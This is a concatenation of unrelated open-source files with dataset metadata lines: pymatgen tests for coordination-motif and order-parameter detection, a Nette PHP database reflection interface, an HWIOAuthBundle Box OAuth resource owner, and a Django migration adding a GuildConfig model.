class MotifIdentificationTest(PymatgenTest):
def setUp(self):
self.silicon = Structure(
Lattice.from_lengths_and_angles(
[5.47, 5.47, 5.47],
[90.0, 90.0, 90.0]),
["Si", "Si", "Si", "Si", "Si", "Si", "Si", "Si"],
[[0.000000, 0.000000, 0.500000],
[0.750000, 0.750000, 0.750000],
[0.000000, 0.500000, 1.000000],
[0.750000, 0.250000, 0.250000],
[0.500000, 0.000000, 1.000000],
[0.250000, 0.750000, 0.250000],
[0.500000, 0.500000, 0.500000],
[0.250000, 0.250000, 0.750000]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=False, site_properties=None)
self.diamond = Structure(
Lattice([[2.189, 0, 1.264], [0.73, 2.064, 1.264],
[0, 0, 2.528]]), ["C0+", "C0+"], [[2.554, 1.806, 4.423],
[0.365, 0.258, 0.632]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.nacl = Structure(
Lattice([[3.485, 0, 2.012], [1.162, 3.286, 2.012],
[0, 0, 4.025]]), ["Na1+", "Cl1-"], [[0, 0, 0],
[2.324, 1.643, 4.025]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.cscl = Structure(
Lattice([[4.209, 0, 0], [0, 4.209, 0], [0, 0, 4.209]]),
["Cl1-", "Cs1+"], [[2.105, 2.105, 2.105], [0, 0, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.square_pyramid = Structure(
Lattice([[100, 0, 0], [0, 100, 0], [0, 0, 100]]),
["C", "C", "C", "C", "C", "C"], [
[0, 0, 0], [1, 0, 0], [-1, 0, 0], [0, 1, 0], [0, -1, 0], \
[0, 0, 1]], validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.trigonal_bipyramid = Structure(
Lattice([[100, 0, 0], [0, 100, 0], [0, 0, 100]]),
["P", "Cl", "Cl", "Cl", "Cl", "Cl"], [
[0, 0, 0], [0, 0, 2.14], [0, 2.02, 0], [1.74937, -1.01, 0], \
[-1.74937, -1.01, 0], [0, 0, -2.14]], validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
def test_site_is_of_motif_type(self):
for i in range(self.diamond.num_sites):
self.assertEqual(site_is_of_motif_type(
self.diamond, i), "tetrahedral")
for i in range(self.nacl.num_sites):
self.assertEqual(site_is_of_motif_type(
self.nacl, i), "octahedral")
for i in range(self.cscl.num_sites):
self.assertEqual(site_is_of_motif_type(
self.cscl, i), "bcc")
self.assertEqual(site_is_of_motif_type(
self.square_pyramid, 0), "square pyramidal")
for i in range(1, self.square_pyramid.num_sites):
self.assertEqual(site_is_of_motif_type(
self.square_pyramid, i), "unrecognized")
self.assertEqual(site_is_of_motif_type(
self.trigonal_bipyramid, 0), "trigonal bipyramidal")
for i in range(1, self.trigonal_bipyramid.num_sites):
self.assertEqual(site_is_of_motif_type(
self.trigonal_bipyramid, i), "unrecognized")
def test_get_neighbors_of_site_with_index(self):
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0)), 4)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.nacl, 0)), 6)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.cscl, 0)), 8)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0, delta=0.01)), 4)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0, cutoff=6)), 4)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0, approach="voronoi")), 4)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0, approach="min_OKeeffe")), 4)
self.assertEqual(len(get_neighbors_of_site_with_index(
self.diamond, 0, approach="min_VIRE")), 4)
def tearDown(self):
del self.silicon
del self.diamond
del self.nacl
del self.cscl
class NearNeighborTest(PymatgenTest):
def setUp(self):
self.diamond = Structure(
Lattice([[2.189, 0, 1.264], [0.73, 2.064, 1.264],
[0, 0, 2.528]]), ["C0+", "C0+"], [[2.554, 1.806, 4.423],
[0.365, 0.258, 0.632]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
def set_nn_info(self):
# check conformance
# implicitly assumes that all NearNeighbors subclasses
# will correctly identify bonds in diamond, if it
# can't there are probably bigger problems
subclasses = NearNeighbors.__subclasses__()
for subclass in subclasses:
nn_info = subclass().get_nn_info(self.diamond, 0)
self.assertEqual(nn_info[0]['site_index'], 1)
self.assertEqual(nn_info[0]['image'][0], 1)
def tearDown(self):
del self.diamond
class LocalStructOrderParasTest(PymatgenTest):
def setUp(self):
self.single_bond = Structure(
Lattice.from_lengths_and_angles(
[10, 10, 10], [90, 90, 90]),
["H", "H", "H"], [[1, 0, 0], [0, 0, 0], [6, 0, 0]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.linear = Structure(
Lattice.from_lengths_and_angles(
[10, 10, 10], [90, 90, 90]),
["H", "H", "H"], [[1, 0, 0], [0, 0, 0], [2, 0, 0]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.bent45 = Structure(
Lattice.from_lengths_and_angles(
[10, 10, 10], [90, 90, 90]), ["H", "H", "H"],
[[0, 0, 0], [0.707, 0.707, 0], [0.707, 0, 0]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.cubic = Structure(
Lattice.from_lengths_and_angles(
[1, 1, 1], [90, 90, 90]),
["H"], [[0, 0, 0]], validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=False,
site_properties=None)
self.bcc = Structure(
Lattice.from_lengths_and_angles(
[1, 1, 1], [90, 90, 90]),
["H", "H"], [[0, 0, 0], [0.5, 0.5, 0.5]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=False, site_properties=None)
self.fcc = Structure(
Lattice.from_lengths_and_angles(
[1, 1, 1], [90, 90, 90]), ["H", "H", "H", "H"],
[[0, 0, 0], [0, 0.5, 0.5], [0.5, 0, 0.5], [0.5, 0.5, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=False, site_properties=None)
self.hcp = Structure(
Lattice.from_lengths_and_angles(
[1, 1, 1.633], [90, 90, 120]), ["H", "H"],
[[0.3333, 0.6667, 0.25], [0.6667, 0.3333, 0.75]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=False, site_properties=None)
self.diamond = Structure(
Lattice.from_lengths_and_angles(
[1, 1, 1], [90, 90, 90]), ["H", "H", "H", "H", "H", "H", "H", "H"],
[[0, 0, 0.5], [0.75, 0.75, 0.75], [0, 0.5, 0], [0.75, 0.25, 0.25],
[0.5, 0, 0], [0.25, 0.75, 0.25], [0.5, 0.5, 0.5],
[0.25, 0.25, 0.75]], validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=False, site_properties=None)
self.trigonal_off_plane = Structure(
Lattice.from_lengths_and_angles(
[100, 100, 100], [90, 90, 90]),
["H", "H", "H", "H"],
[[0.50, 0.50, 0.50], [0.25, 0.75, 0.25], \
[0.25, 0.25, 0.75], [0.75, 0.25, 0.25]], \
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.regular_triangle = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H"],
[[15, 15.28867, 15.65], [14.5, 15, 15], [15.5, 15, 15], \
[15, 15.866, 15]], validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.trigonal_planar = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H"],
[[15, 15.28867, 15], [14.5, 15, 15], [15.5, 15, 15], \
[15, 15.866, 15]], validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.square_planar = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H", "H"],
[[15, 15, 15], [14.75, 14.75, 15], [14.75, 15.25, 15], \
[15.25, 14.75, 15], [15.25, 15.25, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.square = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H", "H"],
[[15, 15, 15.707], [14.75, 14.75, 15], [14.75, 15.25, 15], \
[15.25, 14.75, 15], [15.25, 15.25, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.T_shape = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H"],
[[15, 15, 15], [15, 15, 15.5], [15, 15.5, 15],
[15, 14.5, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.square_pyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["H", "H", "H", "H", "H", "H"],
[[15, 15, 15], [15, 15, 15.3535], [14.75, 14.75, 15],
[14.75, 15.25, 15], [15.25, 14.75, 15], [15.25, 15.25, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.pentagonal_planar = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["Xe", "F", "F", "F", "F", "F"],
[[0, -1.6237, 0], [1.17969, 0, 0], [-1.17969, 0, 0], \
[1.90877, -2.24389, 0], [-1.90877, -2.24389, 0], [0, -3.6307, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.pentagonal_pyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["Xe", "F", "F", "F", "F", "F", "F"],
[[0, -1.6237, 0], [0, -1.6237, 1.17969], [1.17969, 0, 0], \
[-1.17969, 0, 0], [1.90877, -2.24389, 0], \
[-1.90877, -2.24389, 0], [0, -3.6307, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.pentagonal_bipyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]),
["Xe", "F", "F", "F", "F", "F", "F", "F"],
[[0, -1.6237, 0], [0, -1.6237, -1.17969], \
[0, -1.6237, 1.17969], [1.17969, 0, 0], \
[-1.17969, 0, 0], [1.90877, -2.24389, 0], \
[-1.90877, -2.24389, 0], [0, -3.6307, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.hexagonal_pyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), \
["H", "Li", "C", "C", "C", "C", "C", "C"],
[[0, 0, 0], [0, 0, 1.675], [0.71, 1.2298, 0], \
[-0.71, 1.2298, 0], [0.71, -1.2298, 0], [-0.71, -1.2298, 0], \
[1.4199, 0, 0], [-1.4199, 0, 0]], \
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.hexagonal_bipyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), \
["H", "Li", "Li", "C", "C", "C", "C", "C", "C"],
[[0, 0, 0], [0, 0, 1.675], [0, 0, -1.675], \
[0.71, 1.2298, 0], [-0.71, 1.2298, 0], \
[0.71, -1.2298, 0], [-0.71, -1.2298, 0], \
[1.4199, 0, 0], [-1.4199, 0, 0]], \
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.trigonal_pyramid = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["P", "Cl", "Cl", "Cl", "Cl"],
[[0, 0, 0], [0, 0, 2.14], [0, 2.02, 0],
[1.74937, -1.01, 0], [-1.74937, -1.01, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.trigonal_bipyramidal = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]), ["P", "Cl", "Cl", "Cl", "Cl", "Cl"],
[[0, 0, 0], [0, 0, 2.14], [0, 2.02, 0],
[1.74937, -1.01, 0], [-1.74937, -1.01, 0], [0, 0, -2.14]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.cuboctahedron = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]),
["H", "H", "H", "H", "H", "H", "H", "H", "H", "H", "H", "H", "H"],
[[15, 15, 15], [15, 14.5, 14.5], [15, 14.5, 15.5],
[15, 15.5, 14.5], [15, 15.5, 15.5],
[14.5, 15, 14.5], [14.5, 15, 15.5], [15.5, 15, 14.5], [15.5, 15, 15.5],
[14.5, 14.5, 15], [14.5, 15.5, 15], [15.5, 14.5, 15], [15.5, 15.5, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.see_saw = Structure(
Lattice.from_lengths_and_angles(
[30, 30, 30], [90, 90, 90]),
["H", "H", "H", "H", "H"],
[[15, 15, 15], [15, 15, 14], [15, 15, 16], [15, 14, 15], [14, 15, 15]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
def test_init(self):
self.assertIsNotNone(
LocalStructOrderParas(["cn"], parameters=None, cutoff=0.99))
def test_get_order_parameters(self):
# Set up everything.
op_types = ["cn", "bent", "bent", "tet", "oct", "bcc", "q2", "q4", \
"q6", "reg_tri", "sq", "sq_pyr_legacy", "tri_bipyr", "sgl_bd", \
"tri_plan", "sq_plan", "pent_plan", "sq_pyr", "tri_pyr", \
"pent_pyr", "hex_pyr", "pent_bipyr", "hex_bipyr", "T", "cuboct", \
"see_saw"]
op_paras = [None, {'TA': 1, 'IGW_TA': 1./0.0667}, \
{'TA': 45./180, 'IGW_TA': 1./0.0667}, None, \
None, None, None, None, None, None, None, None, None, \
None, None, None, None, None, None, None, None, None, \
None, None, None, None]
ops_044 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=0.44)
ops_071 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=0.71)
ops_087 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=0.87)
ops_099 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=0.99)
ops_101 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=1.01)
ops_501 = LocalStructOrderParas(op_types, parameters=op_paras, cutoff=5.01)
ops_voro = LocalStructOrderParas(op_types, parameters=op_paras)
# Single bond.
op_vals = ops_101.get_order_parameters(self.single_bond, 0)
self.assertAlmostEqual(int(op_vals[13] * 1000), 1000)
op_vals = ops_501.get_order_parameters(self.single_bond, 0)
self.assertAlmostEqual(int(op_vals[13] * 1000), 799)
op_vals = ops_101.get_order_parameters(self.linear, 0)
self.assertAlmostEqual(int(op_vals[13] * 1000), 0)
# Linear motif.
op_vals = ops_101.get_order_parameters(self.linear, 0)
self.assertAlmostEqual(int(op_vals[1] * 1000), 1000)
# 45 degrees-bent motif.
op_vals = ops_101.get_order_parameters(self.bent45, 0)
self.assertAlmostEqual(int(op_vals[2] * 1000), 1000)
# T-shape motif.
op_vals = ops_101.get_order_parameters(
self.T_shape, 0, indices_neighs=[1,2,3])
self.assertAlmostEqual(int(op_vals[23] * 1000), 1000)
# Cubic structure.
op_vals = ops_099.get_order_parameters(self.cubic, 0)
self.assertAlmostEqual(op_vals[0], 0.0)
self.assertIsNone(op_vals[3])
self.assertIsNone(op_vals[4])
self.assertIsNone(op_vals[5])
self.assertIsNone(op_vals[6])
self.assertIsNone(op_vals[7])
self.assertIsNone(op_vals[8])
op_vals = ops_101.get_order_parameters(self.cubic, 0)
self.assertAlmostEqual(op_vals[0], 6.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 23)
self.assertAlmostEqual(int(op_vals[4] * 1000), 1000)
self.assertAlmostEqual(int(op_vals[5] * 1000), 333)
self.assertAlmostEqual(int(op_vals[6] * 1000), 0)
self.assertAlmostEqual(int(op_vals[7] * 1000), 763)
self.assertAlmostEqual(int(op_vals[8] * 1000), 353)
# Bcc structure.
op_vals = ops_087.get_order_parameters(self.bcc, 0)
self.assertAlmostEqual(op_vals[0], 8.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 200)
self.assertAlmostEqual(int(op_vals[4] * 1000), 145)
self.assertAlmostEqual(int(op_vals[5] * 1000 + 0.5), 1000)
self.assertAlmostEqual(int(op_vals[6] * 1000), 0)
self.assertAlmostEqual(int(op_vals[7] * 1000), 509)
self.assertAlmostEqual(int(op_vals[8] * 1000), 628)
# Fcc structure.
op_vals = ops_071.get_order_parameters(self.fcc, 0)
self.assertAlmostEqual(op_vals[0], 12.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 36)
self.assertAlmostEqual(int(op_vals[4] * 1000), 78)
self.assertAlmostEqual(int(op_vals[5] * 1000), -2)
self.assertAlmostEqual(int(op_vals[6] * 1000), 0)
self.assertAlmostEqual(int(op_vals[7] * 1000), 190)
self.assertAlmostEqual(int(op_vals[8] * 1000), 574)
# Hcp structure.
op_vals = ops_101.get_order_parameters(self.hcp, 0)
self.assertAlmostEqual(op_vals[0], 12.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 33)
self.assertAlmostEqual(int(op_vals[4] * 1000), 82)
self.assertAlmostEqual(int(op_vals[5] * 1000), -41)
self.assertAlmostEqual(int(op_vals[6] * 1000), 0)
self.assertAlmostEqual(int(op_vals[7] * 1000), 97)
self.assertAlmostEqual(int(op_vals[8] * 1000), 484)
# Diamond structure.
op_vals = ops_044.get_order_parameters(self.diamond, 0)
self.assertAlmostEqual(op_vals[0], 4.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 1000)
self.assertAlmostEqual(int(op_vals[4] * 1000), 37)
self.assertAlmostEqual(int(op_vals[5] * 1000), 749)
self.assertAlmostEqual(int(op_vals[6] * 1000), 0)
self.assertAlmostEqual(int(op_vals[7] * 1000), 509)
self.assertAlmostEqual(int(op_vals[8] * 1000), 628)
# Trigonal off-plane molecule.
op_vals = ops_044.get_order_parameters(self.trigonal_off_plane, 0)
self.assertAlmostEqual(op_vals[0], 3.0)
self.assertAlmostEqual(int(op_vals[3] * 1000), 1000)
# Trigonal-planar motif.
op_vals = ops_101.get_order_parameters(self.trigonal_planar, 0)
self.assertEqual(int(op_vals[0] + 0.5), 3)
self.assertAlmostEqual(int(op_vals[14] * 1000 + 0.5), 1000)
# Regular triangle motif.
op_vals = ops_101.get_order_parameters(self.regular_triangle, 0)
self.assertAlmostEqual(int(op_vals[9] * 1000), 999)
# Square-planar motif.
op_vals = ops_101.get_order_parameters(self.square_planar, 0)
self.assertAlmostEqual(int(op_vals[15] * 1000 + 0.5), 1000)
# Square motif.
op_vals = ops_101.get_order_parameters(self.square, 0)
self.assertAlmostEqual(int(op_vals[10] * 1000), 1000)
# Pentagonal planar.
op_vals = ops_101.get_order_parameters(
self.pentagonal_planar.sites, 0, indices_neighs=[1,2,3,4,5])
self.assertAlmostEqual(int(op_vals[12] * 1000 + 0.5), 33)
self.assertAlmostEqual(int(op_vals[16] * 1000 + 0.5), 1000)
# Trigonal pyramid motif.
op_vals = ops_101.get_order_parameters(
self.trigonal_pyramid, 0, indices_neighs=[1,2,3,4])
self.assertAlmostEqual(int(op_vals[18] * 1000 + 0.5), 1000)
# Square pyramid motif.
op_vals = ops_101.get_order_parameters(self.square_pyramid, 0)
self.assertAlmostEqual(int(op_vals[11] * 1000 + 0.5), 1000)
self.assertAlmostEqual(int(op_vals[12] * 1000 + 0.5), 375)
self.assertAlmostEqual(int(op_vals[17] * 1000 + 0.5), 1000)
# Pentagonal pyramid motif.
op_vals = ops_101.get_order_parameters(
self.pentagonal_pyramid, 0, indices_neighs=[1,2,3,4,5,6])
self.assertAlmostEqual(int(op_vals[19] * 1000 + 0.5), 1000)
# Hexagonal pyramid motif.
op_vals = ops_101.get_order_parameters(
self.hexagonal_pyramid, 0, indices_neighs=[1,2,3,4,5,6,7])
self.assertAlmostEqual(int(op_vals[20] * 1000 + 0.5), 1000)
# Trigonal bipyramidal.
op_vals = ops_101.get_order_parameters(
self.trigonal_bipyramidal.sites, 0, indices_neighs=[1,2,3,4,5])
self.assertAlmostEqual(int(op_vals[12] * 1000 + 0.5), 1000)
# Pentagonal bipyramidal.
op_vals = ops_101.get_order_parameters(
self.pentagonal_bipyramid.sites, 0,
indices_neighs=[1,2,3,4,5,6,7])
self.assertAlmostEqual(int(op_vals[21] * 1000 + 0.5), 1000)
# Hexagonal bipyramid motif.
op_vals = ops_101.get_order_parameters(
self.hexagonal_bipyramid, 0, indices_neighs=[1,2,3,4,5,6,7,8])
self.assertAlmostEqual(int(op_vals[22] * 1000 + 0.5), 1000)
# Cuboctahedral motif.
op_vals = ops_101.get_order_parameters(
self.cuboctahedron, 0, indices_neighs=[i for i in range(1, 13)])
self.assertAlmostEqual(int(op_vals[24] * 1000 + 0.5), 1000)
# See-saw motif.
op_vals = ops_101.get_order_parameters(
self.see_saw, 0, indices_neighs=[i for i in range(1, 5)])
self.assertAlmostEqual(int(op_vals[25] * 1000 + 0.5), 1000)
# Test providing explicit neighbor lists.
op_vals = ops_101.get_order_parameters(self.bcc, 0, indices_neighs=[1])
self.assertIsNotNone(op_vals[0])
self.assertIsNone(op_vals[3])
with self.assertRaises(ValueError):
ops_101.get_order_parameters(self.bcc, 0, indices_neighs=[2])
def tearDown(self):
del self.single_bond
del self.linear
del self.bent45
del self.cubic
del self.fcc
del self.bcc
del self.hcp
del self.diamond
del self.regular_triangle
del self.square
del self.square_pyramid
del self.trigonal_off_plane
del self.trigonal_pyramid
del self.trigonal_planar
del self.square_planar
del self.pentagonal_pyramid
del self.hexagonal_pyramid
del self.pentagonal_bipyramid
del self.T_shape
del self.cuboctahedron
del self.see_saw
if __name__ == '__main__':
unittest.main()
| mit |
fuca/fbcmohelnice | libs/Nette/Database/IReflection.php | 1714 | <?php
/**
* This file is part of the Nette Framework (http://nette.org)
*
* Copyright (c) 2004 David Grudl (http://davidgrudl.com)
*
* For the full copyright and license information, please view
* the file license.txt that was distributed with this source code.
*/
namespace Nette\Database;
use Nette;
/**
* Information about tables and columns structure.
*/
interface IReflection
{
const
FIELD_TEXT = 'string',
FIELD_BINARY = 'bin',
FIELD_BOOL = 'bool',
FIELD_INTEGER = 'int',
FIELD_FLOAT = 'float',
FIELD_DATE = 'date',
FIELD_TIME = 'time',
FIELD_DATETIME = 'datetime';
/**
* Gets primary key of $table.
* @param string
* @return string
*/
function getPrimary($table);
/**
* Gets referenced table & referenced column.
* Example:
* author, book returns array(book, author_id)
*
* @param string source table
* @param string referencing key
* @return array array(referenced table, referenced column)
* @throws Reflection\MissingReferenceException
* @throws Reflection\AmbiguousReferenceKeyException
*/
function getHasManyReference($table, $key);
/**
* Gets referenced table & referencing column.
* Example
* book, author returns array(author, author_id)
* book, translator returns array(author, translator_id)
*
* @param string source table
* @param string referencing key
* @return array array(referenced table, referencing column)
* @throws Reflection\MissingReferenceException
*/
function getBelongsToReference($table, $key);
/**
* Injects database connection.
*/
function setConnection(Connection $connection);
}
| mit |
LargatSeif/kalbi_dev | vendor/hwi/oauth-bundle/OAuth/ResourceOwner/BoxResourceOwner.php | 1829 | <?php
/*
* This file is part of the HWIOAuthBundle package.
*
* (c) Hardware.Info <opensource@hardware.info>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace HWI\Bundle\OAuthBundle\OAuth\ResourceOwner;
use Buzz\Message\RequestInterface as HttpRequestInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
/**
* BoxResourceOwner
*
* @author Joseph Bielawski <stloyd@gmail.com>
*/
class BoxResourceOwner extends GenericOAuth2ResourceOwner
{
/**
* {@inheritDoc}
*/
protected $paths = array(
'identifier' => 'id',
'nickname' => 'name',
'realname' => 'name',
'email' => 'login',
'profilepicture' => 'avatar_url'
);
/**
* {@inheritDoc}
*/
public function revokeToken($token)
{
$parameters = array(
'client_id' => $this->options['client_id'],
'client_secret' => $this->options['client_secret'],
'token' => $token
);
$response = $this->httpRequest($this->normalizeUrl($this->options['revoke_token_url']), $parameters, array(), HttpRequestInterface::METHOD_POST);
return 200 === $response->getStatusCode();
}
/**
* {@inheritDoc}
*/
protected function configureOptions(OptionsResolver $resolver)
{
parent::configureOptions($resolver);
$resolver->setDefaults(array(
'authorization_url' => 'https://www.box.com/api/oauth2/authorize',
'access_token_url' => 'https://www.box.com/api/oauth2/token',
'revoke_token_url' => 'https://www.box.com/api/oauth2/revoke',
'infos_url' => 'https://api.box.com/2.0/users/me',
));
}
}
| mit |
peter-obrien/organizer | orm/migrations/0013_guildconfig.py | 754 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-09-20 03:24
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('orm', '0012_auto_20170916_1520'),
]
operations = [
migrations.CreateModel(
name='GuildConfig',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('guild', models.BigIntegerField()),
('alarm_source', models.BigIntegerField()),
('rsvp_channel', models.BigIntegerField()),
('command', models.CharField(max_length=1)),
],
),
]
| mit |